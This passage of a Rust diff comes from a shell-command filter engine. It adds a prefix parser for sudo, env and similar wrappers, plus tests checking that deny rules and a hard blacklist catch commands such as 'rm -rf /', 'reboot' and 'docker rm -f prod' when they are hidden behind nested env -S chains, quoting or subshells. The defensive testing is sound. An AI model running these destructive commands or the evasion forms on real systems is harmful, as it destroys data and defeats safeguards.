SudoOption::TakesNext +} + +/// Whether `flag` is an abbreviated long option of `sudo` that matches +/// options with and without a value (`sudo` refuses it), or an option of a +/// wrapper read by a table that is not in it: it is read both ways. +fn ambiguous(head: &str, flag: &str) -> bool { + (head == "sudo" && super::wrapper_options::sudo_long_option_is_ambiguous(flag)) + || passthrough_option_table(head) + .is_some_and(|table| classify_option(table, flag) == OptionWord::Unknown) +} + +/// One prefix stripped and the rest read again: the reference that +/// [`strip_prefixes`] is tested against. +#[cfg(test)] +pub(super) fn strip_one_elevation_wrapper_or_assignment(cmd: &str) -> String { + let words = prefix_words(cmd); + let mut readings = Readings::new(cmd, &words, 0); + let end = match readings.prefix_at(0) { + Some(Prefix::Word) => End::At(1), + Some(Prefix::Command(head)) => readings.options_end(1, &head), + None => End::At(0), + }; + readings.rest(end) +} diff --git a/crates/core/src/filter/prefix_words.rs b/crates/core/src/filter/prefix_words.rs new file mode 100644 index 000000000..d804b5941 --- /dev/null +++ b/crates/core/src/filter/prefix_words.rs @@ -0,0 +1,346 @@ +//! The words of a command prefix (`sudo`/`doas` and their options, wrappers, +//! assignments) as the shell reads them (Issue #1208), for +//! `parser::resolve_effective_command`. + +use std::iter::Peekable; + +/// One word of a command as the shell passes it on: `text` without quotes +/// and backslashes, `start`/`end` its byte range in the command, and +/// whether the shell expands something in it (`$X`, `$(…)`, a backtick, a +/// glob or brace) — then `text` is not what the program sees. +#[derive(Clone)] +pub(super) struct PrefixWord { + pub(super) text: String, + pub(super) start: usize, + pub(super) end: usize, + pub(super) expands: bool, +} + +impl PrefixWord { + fn new(cmd: &str, text: String, start: usize, end: usize) -> Self { + let expands = has_expansion(&cmd[start..end]); + Self { + text, + start, + end, + expands, + } + } +} + +/// Whether the shell expands something in the word `raw`: a `$` (not +/// starting `$'…'`) or backtick outside single quotes, a glob or brace +/// character (`*`, `?`, `[`, `{`) outside quotes, not escaped, or a removed +/// substitution. +pub(super) fn has_expansion(raw: &str) -> bool { + let mut chars = raw.chars().peekable(); + let (mut single, mut double) = (false, false); + while let Some(c) = chars.next() { + match c { + '\'' if !double => single = !single, + _ if single => {} + '"' => double = !double, + '\\' => { + chars.next(); + } + '`' => return true, + '$' if !double && chars.next_if_eq(&'\'').is_some() => { + while let Some(c) = chars.next() { + match c { + '\\' => { + chars.next(); + } + '\'' => break, + _ => {} + } + } + } + '$' if chars.peek().is_some_and(|c| !is_blank(*c)) => return true, + '*' | '?' | '[' | '{' if !double => return true, + // A removed substitution (`parser::resolve_segment_command`). + '\u{E000}' => return true, + _ => {} + } + } + false +} + +/// Whether `c` separates words for the shell. Only ASCII blanks do; a +/// no-break space or another Unicode space is part of the word. +pub(super) fn is_blank(c: char) -> bool { + matches!(c, ' ' | '\t' | '\n') +} + +/// Like `parser::normalize_whitespace`, but only ASCII blanks separate +/// words ([`is_blank`]). +pub(super) fn normalize_blanks(s: &str) -> String { + s.split(is_blank) + .filter(|word| !word.is_empty()) + .collect::>() + .join(" ") +} + +/// How often [`prefix_words`] starts reading again after a word whose quote +/// or substitution is not closed. Each start may read to the end of the +/// text, so the bound keeps the reading linear. +const MAX_RESTARTS: usize = 4; + +/// Splits `cmd` into words at unquoted blanks as the shell does: quotes, +/// backslash escapes, `$'...'`, `$(...)`, `${...}` and backticks belong to +/// the word they are in, and a `#` at the start of a word ends the command. +/// A word whose quote or substitution is not closed is read with its quotes +/// as plain characters and its substitutions kept together, or else up to +/// the next blank; the words after it are read as before. After +/// [`MAX_RESTARTS`] such words the rest is split at blanks, each word losing +/// its quotes where it is complete in itself (`'sudo'`). Every character is +/// read a bounded number of times, so a long text takes linear time. +pub(super) fn prefix_words(cmd: &str) -> Vec { + let mut words = Vec::new(); + let mut from = 0; + for _ in 0..MAX_RESTARTS { + let (read, failed_at) = read_words(cmd, from, true); + words.extend(read); + let Some(start) = failed_at else { + return words; + }; + let word = unclosed_word(cmd, start); + from = word.end; + words.push(word); + } + for word in cmd[from..].split(is_blank).filter(|word| !word.is_empty()) { + let start = word.as_ptr() as usize - cmd.as_ptr() as usize; + let text = match read_words(word, 0, true) { + (mut own, None) if own.len() == 1 => own.remove(0).text, + _ => word.to_string(), + }; + words.push(PrefixWord::new(cmd, text, start, start + word.len())); + } + words +} + +/// The word at `start` whose quote or substitution is not closed: quotes +/// read as plain characters with substitutions kept together, or else up to +/// the next blank. +fn unclosed_word(cmd: &str, start: usize) -> PrefixWord { + let mut chars = cmd[start..] + .char_indices() + .map(|(i, c)| (i + start, c)) + .peekable(); + if let Some(text) = read_word(&mut chars, false) { + let end = chars.peek().map_or(cmd.len(), |&(i, _)| i); + return PrefixWord::new(cmd, text, start, end); + } + let end = cmd[start..].find(is_blank).map_or(cmd.len(), |i| start + i); + PrefixWord::new(cmd, cmd[start..end].to_string(), start, end) +} + +/// The words of `cmd` from byte `from` on; with `quotes` unset, quotes, +/// backslashes and comments are plain characters. If a quote or +/// substitution is not closed, the words before the word it is in and that +/// word's start. +fn read_words(cmd: &str, from: usize, quotes: bool) -> (Vec, Option) { + let mut words = Vec::new(); + let mut chars = cmd[from..] + .char_indices() + .map(|(i, c)| (i + from, c)) + .peekable(); + while let Some(&(start, first)) = chars.peek() { + if chars.next_if(|&(_, c)| is_blank(c)).is_some() { + continue; + } + if quotes && first == '#' { + break; + } + let Some(text) = read_word(&mut chars, quotes) else { + return (words, Some(start)); + }; + let end = chars.peek().map_or(cmd.len(), |&(i, _)| i); + words.push(PrefixWord::new(cmd, text, start, end)); + } + (words, None) +} + +/// Reads one word from `chars` (see [`read_words`]). `None` if a quote or +/// substitution in it is not closed. +fn read_word( + chars: &mut Peekable>, + quotes: bool, +) -> Option { + let mut text = String::new(); + while let Some((_, c)) = chars.next_if(|&(_, c)| !is_blank(c)) { + match c { + '\'' if quotes => loop { + match chars.next()?.1 { + '\'' => break, + c => text.push(c), + } + }, + '"' if quotes => loop { + match chars.next()?.1 { + '"' => break, + '\\' => text.push(chars.next()?.1), + c @ ('$' | '`') => { + text.push(c); + skip_expansion(c, chars, &mut text)?; + } + c => text.push(c), + } + }, + '\\' if quotes => text.push(chars.next()?.1), + '$' if quotes && chars.next_if(|&(_, c)| c == '\'').is_some() => loop { + match chars.next()?.1 { + '\'' => break, + '\\' => ansi_c_escape(chars, &mut text)?, + c => text.push(c), + } + }, + '$' | '`' => { + text.push(c); + skip_expansion(c, chars, &mut text)?; + } + c => text.push(c), + } + } + Some(text) +} + +/// Decodes the escape after a backslash in `$'…'` as bash does (`\x44`, +/// `\104`, `\u0044`, `\n`, `\cA`, …) into `text`. `None` at the end of the +/// input. +fn ansi_c_escape( + chars: &mut Peekable>, + text: &mut String, +) -> Option<()> { + let c = chars.next()?.1; + let decoded = match c { + 'a' => Some('\u{7}'), + 'b' => Some('\u{8}'), + 'e' | 'E' => Some('\u{1b}'), + 'f' => Some('\u{c}'), + 'n' => Some('\n'), + 'r' => Some('\r'), + 't' => Some('\t'), + 'v' => Some('\u{b}'), + 'x' => escaped_number(chars, 16, 2, None), + 'u' => escaped_number(chars, 16, 4, None), + 'U' => escaped_number(chars, 16, 8, None), + '0'..='7' => escaped_number(chars, 8, 3, c.to_digit(8)), + 'c' => { + let control = chars.next()?.1; + char::from_u32(u32::from(control) & 0x1f) + } + '\\' | '\'' | '"' | '?' => Some(c), + _ => None, + }; + match decoded { + Some(decoded) => text.push(decoded), + None => { + text.push('\\'); + text.push(c); + } + } + Some(()) +} + +/// The character of a numeric escape in `$'…'`: up to `max` digits in +/// `radix`, `first` already read. `None` without digits. +fn escaped_number( + chars: &mut Peekable>, + radix: u32, + max: usize, + first: Option, +) -> Option { + let mut value = first.unwrap_or(0); + let mut digits = usize::from(first.is_some()); + while digits < max { + let Some((_, c)) = chars.next_if(|(_, c)| c.is_digit(radix)) else { + break; + }; + value = value * radix + c.to_digit(radix).unwrap_or(0); + digits += 1; + } + (digits > 0).then(|| char::from_u32(value)).flatten() +} + +/// The command list of the subshell (`( … )`) or group (`{ …`) that `text` +/// starts with, read as the shell reads it: up to the last closing bracket +/// outside quotes and substitutions, or to the end without one, so the `)` +/// of `( x=$(a) docker rm -f prod` does not end it. `None` for any other +/// text, an empty list, or a quote or substitution that is not closed. +pub(super) fn group_body(text: &str) -> Option<&str> { + let text = text.trim(); + let (rest, close) = match text.strip_prefix('(') { + Some(rest) => (rest, ')'), + None => ( + text.strip_prefix('{') + .filter(|rest| rest.starts_with(char::is_whitespace))?, + '}', + ), + }; + let mut end = rest.len(); + let mut chars = rest.char_indices().peekable(); + let mut skipped = String::new(); + while let Some((i, c)) = chars.next() { + match c { + '\\' => { + chars.next()?; + } + '\'' => while chars.next()?.1 != '\'' {}, + '"' => loop { + match chars.next()?.1 { + '"' => break, + '\\' => { + chars.next()?; + } + c @ ('$' | '`') => skip_expansion(c, &mut chars, &mut skipped)?, + _ => {} + } + }, + '$' | '`' => skip_expansion(c, &mut chars, &mut skipped)?, + c if c == close => end = i, + _ => {} + } + } + Some(&rest[..end]).filter(|body| !body.trim().is_empty()) +} + +/// After a `$` or backtick in [`read_words`]: copies a following `$(...)`, +/// `${...}` or `` `...` `` into `text` up to its closing character, with +/// quotes inside it. `None` if it is not closed. +fn skip_expansion( + opener: char, + chars: &mut Peekable>, + text: &mut String, +) -> Option<()> { + let (open, close) = if opener == '`' { + (None, '`') + } else { + match chars.next_if(|(_, c)| matches!(c, '(' | '{')) { + Some((_, '(')) => (Some('('), ')'), + Some(_) => (Some('{'), '}'), + None => return Some(()), + } + }; + text.extend(open); + let mut depth = 1usize; + let mut quote: Option = None; + loop { + let c = chars.next()?.1; + text.push(c); + match (quote, c) { + (Some('\''), '\'') | (Some('"'), '"') => quote = None, + (Some('\''), _) => {} + (_, '\\') => text.push(chars.next()?.1), + (Some(_), _) => {} + (None, '\'' | '"') if open.is_some() => quote = Some(c), + (None, c) if c == close => { + depth -= 1; + if depth == 0 { + return Some(()); + } + } + (None, c) if Some(c) == open => depth += 1, + _ => {} + } + } +} diff --git a/crates/core/src/filter/tests.rs b/crates/core/src/filter/tests.rs index 672486949..adba7cead 100644 --- a/crates/core/src/filter/tests.rs +++ b/crates/core/src/filter/tests.rs @@ -305,7 +305,7 @@ fn allow_iptables() -> Vec { } /// Issue #110: Das Längenlimit zählt Bytes, nicht Zeichen. Ein Kommando mit -/// Mehrbyte-Zeichen über 4096 Bytes, aber höchstens 4096 Zeichen, ist für +/// Mehrbyte-Zeichen über dem Limit in Bytes, aber mit weniger Zeichen, ist für /// die Filter-Engine zu lang — auch wenn eine Allow-Regel passt. Vorher zählte /// die Engine Zeichen und wertete es normal aus (Allow -> `AutoExec`), /// während der Risiko-Klassifizierer es schon nicht mehr einstufte. @@ -325,9 +325,9 @@ async fn test_multibyte_command_over_byte_limit_forces_confirm_despite_allow() { ); } -/// Issue #110: Grenze bei genau 4096 Bytes (mit Mehrbyte-Zeichen). Bis +/// Issue #110: Grenze bei genau `DEFAULT_MAX_COMMAND_LENGTH` Bytes (mit Mehrbyte-Zeichen). Bis /// einschließlich der Grenze werten Filter-Engine **und** Klassifizierer -/// normal aus, ein Byte darüber geben beide auf — dieselbe Grenze für beide. +/// normal aus, ein Byte darüber prüfen beide nur noch naive Teilstücke. #[tokio::test] async fn test_byte_limit_boundary_is_shared_by_filter_and_classifier() { use crate::risk::{RiskLevel, RuleBasedRiskClassifier}; @@ -359,9 +359,9 @@ async fn test_byte_limit_boundary_is_shared_by_filter_and_classifier() { ); let assessment = RuleBasedRiskClassifier.classify(&over_limit); assert_eq!( - (assessment.server_risk, assessment.data_risk), - (RiskLevel::None, RiskLevel::None), - "ein Byte über der Grenze stuft der Klassifizierer nicht mehr ein" + assessment.server_risk, + RiskLevel::Red, + "ein Byte über der Grenze stuft der Klassifizierer die Teilstücke ein" ); } @@ -554,21 +554,6 @@ async fn test_t43_substitution_depth_at_cap_parses_normally() { } } -#[tokio::test] -async fn test_sudo_prefix_sets_elevated_flag() { - let (elevated, rest) = super::parser::detect_elevation("sudo apt update"); - assert!(elevated); - assert_eq!(rest, "apt update"); - - let (elevated_doas, rest_doas) = super::parser::detect_elevation("doas apt update"); - assert!(elevated_doas); - assert_eq!(rest_doas, "apt update"); - - let (elevated_none, rest_none) = super::parser::detect_elevation("apt update"); - assert!(!elevated_none); - assert_eq!(rest_none, "apt update"); -} - /// Ergänzt Zeile 2 der Tabelle: die Blacklist lässt sich nicht durch eine /// explizite (auch hoch priorisierte) Allow-Regel aushebeln — genau die in /// Spec Abschnitt 3.1 verlangte Eigenschaft "unabhängig von Nutzerregeln". @@ -3172,4 +3157,8 @@ mod non_writing_redirections { assert_deny(&eng.evaluate("rm -rf / 2>/dev/null", &ctx("s", &[])).await); } } +mod compiled_patterns; +mod prefix_chains; +mod subshell_groups; +mod sudo_options; mod unavailable; diff --git a/crates/core/src/filter/tests/compiled_patterns.rs b/crates/core/src/filter/tests/compiled_patterns.rs new file mode 100644 index 000000000..60f3347d9 --- /dev/null +++ b/crates/core/src/filter/tests/compiled_patterns.rs @@ -0,0 +1,197 @@ +//! User rule patterns and the hard blacklist are matched compiled +//! (`pattern::CompiledPattern`, cached per pattern). These tests compare the +//! compiled matching with the uncompiled reference (`Pattern::matches` and +//! the Spec 0060 strict glob for path-shaped user rules) over the patterns +//! and commands of the existing filter tests. + +use regex::Regex; + +use super::super::blacklist::{hard_blacklist, matching_entry}; +use super::super::pattern::{ + is_path_shaped_pattern, normalize_path_shaped_tokens, + path_shaped_tokens_contain_shell_metacharacters, +}; +use super::*; + +const SOURCES: &[&str] = &[ + include_str!("../tests.rs"), + include_str!("sudo_options.rs"), + include_str!("unavailable.rs"), + include_str!("../adversarial_tests.rs"), + include_str!("../adversarial_tests/env_assignments.rs"), + include_str!("../adversarial_tests/shell_lexing.rs"), + include_str!("../adversarial_tests/sudo_options.rs"), + include_str!("../property_tests.rs"), +]; + +/// `Pattern::matches_for_user_rule` as it was before patterns were +/// compiled: every glob and regex built anew on each call. +fn reference_user_rule_match(pattern: &Pattern, cmd: &str, action: &RuleAction) -> bool { + match pattern { + Pattern::Glob(glob) if is_path_shaped_pattern(glob) => { + let strict_match = !path_shaped_tokens_contain_shell_metacharacters(cmd) + && globset::GlobBuilder::new(&normalize_path_shaped_tokens(glob)) + .literal_separator(true) + .build() + .map(|glob| { + glob.compile_matcher() + .is_match(normalize_path_shaped_tokens(cmd)) + }) + .unwrap_or(false); + match action { + RuleAction::Allow => strict_match, + RuleAction::Deny | RuleAction::Confirm => strict_match || pattern.matches(cmd), + } + } + _ => pattern.matches(cmd), + } +} + +/// `blacklist::matching_entry` as it was before the blacklist was compiled. +fn reference_blacklist_entry(cmd: &str) -> Option { + let lower = cmd.to_lowercase(); + hard_blacklist() + .iter() + .find(|pattern| pattern.matches(&lower)) + .map(|pattern| pattern.display_text().to_string()) +} + +/// The value of a Rust string literal as written in a test source. +fn literal_value(literal: &str) -> String { + if let Some(raw) = literal.strip_prefix('r') { + let hashes = raw.len() - raw.trim_start_matches('#').len(); + return raw[hashes + 1..raw.len() - hashes - 1].to_string(); + } + let body = &literal[1..literal.len() - 1]; + let mut out = String::new(); + let mut chars = body.chars().peekable(); + while let Some(c) = chars.next() { + if c != '\\' { + out.push(c); + continue; + } + match chars.next() { + Some('n') => out.push('\n'), + Some('t') => out.push('\t'), + Some('r') => out.push('\r'), + Some('0') => out.push('\0'), + Some('u') => { + let code: String = chars.by_ref().skip(1).take_while(|c| *c != '}').collect(); + if let Some(c) = u32::from_str_radix(&code, 16).ok().and_then(char::from_u32) { + out.push(c); + } + } + // A line continuation in the source: the newline and the + // indentation after it are not part of the value. + Some('\n') => while chars.next_if(|c| c.is_whitespace()).is_some() {}, + Some(other) => out.push(other), + None => {} + } + } + out +} + +/// The patterns of the rules in the test sources and every string literal +/// in them as a command. +fn corpus() -> (Vec, Vec) { + const LITERAL: &str = r##"(r#"(?s:.)*?"#|r"[^"]*"|"(?:[^"\\]|\\(?s:.))*")"##; + let rule_call = Regex::new(&format!( + r#"(?:glob_rule(?:_with_origin)?|regex_rule|\brule)\(\s*"[^"]*",\s*{LITERAL}"# + )) + .unwrap(); + let pattern_call = Regex::new(&format!(r"Pattern::(Glob|Regex|Exact)\(\s*{LITERAL}")).unwrap(); + let literal = Regex::new(LITERAL).unwrap(); + + let mut patterns: Vec = Vec::new(); + let mut commands: Vec = Vec::new(); + for source in SOURCES { + for capture in rule_call.captures_iter(source) { + patterns.push(Pattern::Glob(literal_value(&capture[1]))); + } + for capture in pattern_call.captures_iter(source) { + let value = literal_value(&capture[2]); + patterns.push(match &capture[1] { + "Glob" => Pattern::Glob(value), + "Regex" => Pattern::Regex(value), + _ => Pattern::Exact(value), + }); + } + for found in literal.find_iter(source) { + let value = literal_value(found.as_str()); + if !value.is_empty() && value.len() <= 512 { + commands.push(value); + } + } + } + // Patterns that do not compile never match, compiled or not. + patterns.push(Pattern::Glob("rm [".to_string())); + patterns.push(Pattern::Glob("rm /tmp/[".to_string())); + patterns.push(Pattern::Regex("rm (".to_string())); + patterns.extend(hard_blacklist().iter().cloned()); + patterns.sort_by_key(|pattern| format!("{pattern:?}")); + patterns.dedup(); + commands.sort(); + commands.dedup(); + (patterns, commands) +} + +#[test] +fn compiled_user_rule_patterns_match_like_the_uncompiled_reference() { + let (patterns, commands) = corpus(); + assert!(patterns.len() >= 60, "too few patterns: {}", patterns.len()); + assert!( + commands.len() >= 1000, + "too few commands: {}", + commands.len() + ); + assert!(patterns + .iter() + .any(|pattern| matches!(pattern, Pattern::Glob(glob) if is_path_shaped_pattern(glob)))); + + let mut mismatches = Vec::new(); + for pattern in &patterns { + for cmd in &commands { + for action in [RuleAction::Allow, RuleAction::Confirm, RuleAction::Deny] { + let expected = reference_user_rule_match(pattern, cmd, &action); + if pattern.matches_for_user_rule(cmd, &action) != expected { + mismatches.push(format!( + "{pattern:?} {action:?} {cmd:?}: expected {expected}" + )); + } + } + } + } + assert!(mismatches.is_empty(), "{}", mismatches.join("\n")); +} + +#[test] +fn compiled_blacklist_matches_like_the_uncompiled_reference() { + let (_, commands) = corpus(); + for cmd in &commands { + assert_eq!( + matching_entry(cmd), + reference_blacklist_entry(cmd), + "{cmd:?}" + ); + } +} + +/// More distinct patterns than the cache holds: it is emptied and filled +/// again, and every pattern still matches as before. +#[test] +fn user_pattern_cache_stays_correct_past_its_size() { + let patterns: Vec = (0..600) + .map(|i| Pattern::Glob(format!("rm /srv/app{i}/*"))) + .collect(); + for _ in 0..2 { + for (i, pattern) in patterns.iter().enumerate() { + let hit = format!("rm /srv/app{i}/log"); + let miss = format!("rm /srv/app{}/log", i + 1); + assert!(pattern.matches_for_user_rule(&hit, &RuleAction::Allow)); + assert!(!pattern.matches_for_user_rule(&miss, &RuleAction::Allow)); + assert!( + !pattern.matches_for_user_rule("rm /srv/x/../../etc/passwd", &RuleAction::Allow) + ); + } + } +} diff --git a/crates/core/src/filter/tests/prefix_chains.rs b/crates/core/src/filter/tests/prefix_chains.rs new file mode 100644 index 000000000..62996be31 --- /dev/null +++ b/crates/core/src/filter/tests/prefix_chains.rs @@ -0,0 +1,275 @@ +//! `sudo`/`doas`, wrapper and assignment prefixes are stripped in one pass +//! over the words where the text allows it (`parser::strip_prefixes`), so a +//! long chain (`env env … rm`) takes linear time. The result is the same as +//! stripping one prefix after the other and reading the rest again. + +use super::super::parser::resolve_effective_command; +use super::super::prefix_strip::{strip_one_elevation_wrapper_or_assignment, strip_prefixes}; + +/// The prefixes stripped one after the other, the rest read again each time. +fn reference_strip_prefixes(normalized: &str) -> String { + let mut current = normalized.to_string(); + loop { + let stripped = strip_one_elevation_wrapper_or_assignment(¤t); + if stripped == current { + return current; + } + current = stripped; + } +} + +const PREFIXES: &[&str] = &[ + "sudo", + "sudo -u root", + "sudo -p 'a b'", + "doas -u root", + "env", + "env -i", + "/usr/bin/env", + "nice -n 5", + "timeout 5", + "FOO=1", + "A='x y'", + "B=\"a;b\"", + "$(true)", + "--", + "'sudo'", + "env 'A=1", + "sudo -p \"a b", + "env -u $(x", + "FOO=`x", +]; + +const SEPARATORS: &[&str] = &[" ", " ", "\t", "\u{a0}"]; + +const TAILS: &[&str] = &[ + "rm -rf /", + "", + " ls -la ", + "'rm' x", + "# rm -rf /", + "\"unclosed", + "rm '", + "rm $(x", + "rm `x", +]; + +#[test] +fn strip_prefixes_matches_stripping_one_prefix_after_the_other() { + let mut inputs = Vec::new(); + for a in PREFIXES { + for b in PREFIXES { + for c in ["", "env", "sudo -u root", "X=1"] { + for sep in SEPARATORS { + for tail in TAILS { + let words: Vec<&str> = [*a, *b, c, *tail] + .into_iter() + .filter(|w| !w.is_empty()) + .collect(); + inputs.push(words.join(sep)); + inputs.push(format!("{} {tail}", [*a, *b, c].join(sep))); + } + } + } + } + } + for input in &inputs { + assert_eq!( + strip_prefixes(input), + reference_strip_prefixes(input), + "{input:?}" + ); + } +} + +#[test] +fn long_prefix_chain_resolves_to_the_command_behind_it() { + let cmd = format!("{}'sudo' rm -rf /", "FOO=$( ".repeat(40)); + assert_eq!(strip_prefixes(&cmd), reference_strip_prefixes(&cmd)); + assert_eq!(resolve_effective_command(&cmd), "rm -rf /"); + let cmd = format!("{}rm -rf /", "env ".repeat(20_000)); + assert_eq!(resolve_effective_command(&cmd), "rm -rf /"); + let cmd = format!("{}rm -rf /", "sudo -u root FOO=1 nice -n 5 ".repeat(5_000)); + assert_eq!(resolve_effective_command(&cmd), "rm -rf /"); +} + +/// A long prefix chain whose text has an unclosed quote or substitution, +/// also inside `bash -c "…"` and over the length limit, is read in linear +/// time by the filter and the risk classifier. Each takes about a second at +/// most in a debug build; stripping one prefix after the other took up to +/// several minutes. The bound is generous so a loaded test machine does not +/// fail it, while the quadratic behaviour still does. +#[tokio::test] +async fn long_prefix_chain_with_unclosed_quote_is_evaluated_quickly() { + let eng = super::engine(vec![]); + for prefix in ["env ", "FOO=1 ", "sudo ", "nice ", "x=1 ", "env -u $( "] { + let chain = prefix.repeat(16_000 / prefix.len() - 2); + for input in [ + format!("{chain}rm '"), + format!("{chain}rm $("), + format!("bash -c \"{chain}rm '\""), + format!("{chain}'{}", "a".repeat(70_000)), + ] { + let started = std::time::Instant::now(); + let _ = eng.evaluate(&input, &super::ctx("srv1", &[])).await; + let _ = crate::risk::RuleBasedRiskClassifier.classify(&input); + let elapsed = started.elapsed(); + assert!( + elapsed < std::time::Duration::from_secs(60), + "{prefix:?} chain, {} bytes: {elapsed:?}", + input.len() + ); + } + } +} + +/// The deepest inputs under the length limit (long `env -S` chains, nested +/// groups, substitutions, `eval` and `bash -c`) are evaluated on a thread +/// with a 2 MiB stack, the size of an async worker thread, so unbounded +/// recursion fails here instead of passing on a big main thread. None runs +/// unconfirmed under an Allow rule, and each takes well under the bound. +#[test] +fn deep_inputs_are_evaluated_on_a_small_stack() { + use super::*; + + let split_chain = format!("env {}reboot", "-S ".repeat(3000)); + let quoted_split_chain = format!("env -S '{}reboot'", "-S ".repeat(3000)); + let nested_split = format!("env -S '{}reboot'", "env -S ".repeat(2300)); + let inputs = [ + split_chain, + quoted_split_chain, + nested_split, + format!("{}reboot{}", "( ".repeat(4000), " )".repeat(4000)), + format!("{}reboot; }}", "{ ".repeat(5000)), + format!("{}reboot{}", "$(".repeat(4000), ")".repeat(4000)), + format!("{}reboot", "eval ".repeat(3000)), + format!("{}reboot", "bash -c ".repeat(1800)), + format!("{}rm '", "env ".repeat(4000)), + format!("{}reboot", "\"$(".repeat(5000)), + format!("{}reboot", "$'\\'".repeat(3000)), + format!("{}reboot", "${x:-".repeat(3000)), + format!("{}reboot", "$((".repeat(5000)), + format!("{}reboot", "<(".repeat(8000)), + format!("{}reboot", "trap ".repeat(3000)), + format!("{}reboot", "case x in x) ".repeat(1200)), + format!( + "env --split-string='{}reboot'", + "env --split-string=".repeat(800) + ), + format!("env -S {}reboot", "'env -S' ".repeat(1600)), + format!("env {}reboot", "-S $X ".repeat(2000)), + format!("env {}reboot", "-S 'sudo -u root env' ".repeat(700)), + format!("env {} reboot", "-S".repeat(8180)), + format!("env {} reboot", "-vS".repeat(5450)), + format!("env {} reboot", "-iS".repeat(5450)), + ]; + std::thread::Builder::new() + .stack_size(2 * 1024 * 1024) + .spawn(move || { + let runtime = tokio::runtime::Builder::new_current_thread() + .build() + .expect("runtime"); + let eng = engine(vec![glob_rule( + "allow-all", + "*", + RuleAction::Allow, + Scope::Global, + 10, + )]); + for cmd in &inputs { + assert!(cmd.len() <= crate::filter::DEFAULT_MAX_COMMAND_LENGTH); + let started = std::time::Instant::now(); + let decision = runtime.block_on(eng.evaluate(cmd, &ctx("srv1", &[]))); + let _ = crate::risk::RuleBasedRiskClassifier.classify(cmd); + let elapsed = started.elapsed(); + assert!( + !matches!(decision, Decision::AutoExec), + "{:.40}: {decision:?}", + cmd + ); + assert!( + elapsed < std::time::Duration::from_secs(20), + "{:.40}: {elapsed:?}", + cmd + ); + } + }) + .expect("thread") + .join() + .expect("no stack overflow or failed assertion"); +} + +/// Past `MAX_SPLITS` `env -S` values in a row the command counts as unknown +/// and needs confirmation, but a Deny rule and the hard blacklist still +/// apply to it, flat or nested, behind option values and further wrappers. +#[tokio::test] +async fn long_env_split_chains_need_confirmation_and_meet_deny_rules() { + use super::*; + + let eng = engine(vec![ + glob_rule( + "deny-reboot", + "reboot*", + RuleAction::Deny, + Scope::Global, + 20, + ), + glob_rule("allow-all", "*", RuleAction::Allow, Scope::Global, 10), + ]); + for levels in [0, 1, 16, 17, 40] { + let flat = |cmd: &str| format!("env {}{cmd}", "-S ".repeat(levels)); + let nested = |cmd: &str| format!("env -S '{}{cmd}'", "env -S ".repeat(levels)); + let cmds = [ + flat("reboot"), + nested("reboot"), + flat("-u X reboot"), + flat("-C /tmp reboot"), + flat("-P /bin reboot"), + flat("--argv0 x reboot"), + flat("$X reboot"), + format!("env {}reboot", "-S".repeat(levels)), + format!("env {} -u X reboot", "-vS".repeat(levels)), + flat("-S '' -u X reboot"), + flat("-S \"\" -C /tmp reboot"), + flat("-a '' reboot"), + flat("--argv0 '' reboot"), + flat("-a \"\" reboot"), + flat("-S '-a \"\" reboot'"), + flat("-a '' sudo -D /tmp reboot"), + format!("env {}-u X reboot", "-S env ".repeat(levels)), + format!("env -S '{}-u X reboot'", "env -S env ".repeat(levels)), + format!( + "env --split-string='{}reboot'", + "env --split-string=".repeat(levels) + ), + format!("env {}reboot", "-S sudo env ".repeat(levels)), + format!("env {}reboot", "-S 'sudo -u root env' ".repeat(levels)), + ]; + for cmd in cmds { + let decision = eng.evaluate(&cmd, &ctx("srv1", &[])).await; + assert!( + matches!(decision, Decision::Deny { .. }), + "{cmd}: {decision:?}" + ); + } + for cmd in [ + flat("rm -rf /"), + nested("rm -rf /"), + flat("-u X shutdown now"), + flat("-a '' -u X shutdown now"), + flat("-S '' -u X shutdown now"), + ] { + let trace = eng.evaluate_explained(&cmd, &ctx("srv1", &[])).await; + assert!( + trace.matched_hard_blacklist_entry.is_some(), + "{cmd}: {trace:?}" + ); + } + let decision = eng.evaluate(&flat("ls"), &ctx("srv1", &[])).await; + assert_eq!( + matches!(decision, Decision::AutoExec), + levels <= 16, + "{levels}: {decision:?}" + ); + } +} diff --git a/crates/core/src/filter/tests/subshell_groups.rs b/crates/core/src/filter/tests/subshell_groups.rs new file mode 100644 index 000000000..8b4cb906a --- /dev/null +++ b/crates/core/src/filter/tests/subshell_groups.rs @@ -0,0 +1,85 @@ +//! The commands inside a subshell or a `{ ...; }` group are evaluated like +//! any other command: a Deny rule and the hard blacklist apply to them. The +//! compound syntax itself keeps asking for a confirmation. + +use super::*; + +#[tokio::test] +async fn deny_rule_applies_inside_subshell_and_group() { + let deny_docker = || { + engine(vec![glob_rule( + "deny-docker", + "docker *", + RuleAction::Deny, + Scope::Global, + 0, + )]) + }; + for command in [ + "(docker rm -f prod)", + "( docker rm -f prod )", + "{ docker rm -f prod; }", + "(true; docker rm -f prod) > /dev/null", + "(true\ndocker rm -f prod)", + "((docker rm -f prod))", + "ls; (cd /tmp && docker rm -f prod)", + ] { + let decision = deny_docker().evaluate(command, &ctx("srv", &[])).await; + assert!( + matches!(&decision, Decision::Deny { code, .. } if code == "FILTER_RULE_DENY"), + "{command:?}: {decision:?}" + ); + } + + // Without a Deny the compound syntax stays at Confirm, also when an + // Allow rule matches the command inside. + let allow_docker = engine(vec![glob_rule( + "allow-docker", + "docker *", + RuleAction::Allow, + Scope::Global, + 0, + )]); + let decision = allow_docker.evaluate("(docker ps)", &ctx("srv", &[])).await; + assert!(matches!(decision, Decision::Confirm { .. }), "{decision:?}"); + + let trace = engine(Vec::new()) + .evaluate_explained("(rm -rf /)", &ctx("srv", &[])) + .await; + assert!(matches!(trace.decision, Decision::Confirm { .. })); + assert!(matches_hard_blacklist("(rm -rf /)").await); +} + +/// Deeply nested subshells with a substitution in them, repeated up to the +/// length limit, take about as long as the same subshells without one: the +/// commands of each level are evaluated once, not once per text at every +/// level, which took time quadratic in the depth (about eight times as long +/// at this depth). Compared with the plain subshells measured in the same +/// run, so a loaded machine slows both. +#[tokio::test] +async fn nested_subshells_with_substitutions_are_evaluated_quickly() { + let eng = engine(vec![ + glob_rule( + "deny-docker", + "docker *", + RuleAction::Deny, + Scope::Global, + 100, + ), + glob_rule("allow-ls", "ls *", RuleAction::Allow, Scope::Global, 10), + ]); + let mut elapsed = Vec::new(); + for inner in ["ls", "$(a)"] { + let unit = format!("{}{inner}{}; ", "( ".repeat(31), " )".repeat(31)); + let cmd = unit.repeat(16_000 / unit.len()); + let started = std::time::Instant::now(); + let decision = eng.evaluate(&cmd, &ctx("srv1", &[])).await; + elapsed.push(started.elapsed()); + assert_confirm(&decision); + } + eprintln!("nested subshells without / with substitution: 